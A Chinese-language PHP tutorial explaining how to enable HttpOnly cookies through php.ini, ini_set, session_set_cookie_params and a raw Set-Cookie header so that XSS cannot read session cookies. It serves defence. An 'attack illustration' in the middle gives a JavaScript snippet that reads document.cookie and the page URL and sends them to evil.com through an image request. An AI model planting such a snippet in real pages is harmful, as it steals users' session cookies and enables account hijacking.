首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 綜合知識

PHP 利用 HttpOnly Cookie 防禦 XSS 攻擊完整指南

     編輯:PHP 綜合知識

XSS 攻擊常竊取 Cookie,設定 HttpOnly 讓 JavaScript 無法讀取 document.cookie,大幅降低風險。

啟用 HttpOnly

1. php.ini 全域啟用(Session Cookie)

session.cookie_httponly = 1

2. 程式碼動態啟用

ini_set("session.cookie_httponly", 1);
// 或
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);

3. 手動 Set-Cookie 標頭(PHP 5.1 前)

header("Set-Cookie: hidden=value; httpOnly");

攻擊示意

// 惡意 JS 竊取 Cookie
url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src='https://evil.com/c.php?c='+cookie+'&u='+url;

設定 HttpOnly 後,document.cookie 回傳空字串,上述攻擊失效。

限制

  • HttpOnly 無法防禦所有 XSS(如 DOM-based XSS、鍵盤記錄等)。
  • 需配合輸出編碼、CSP、輸入驗證等多層防護。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved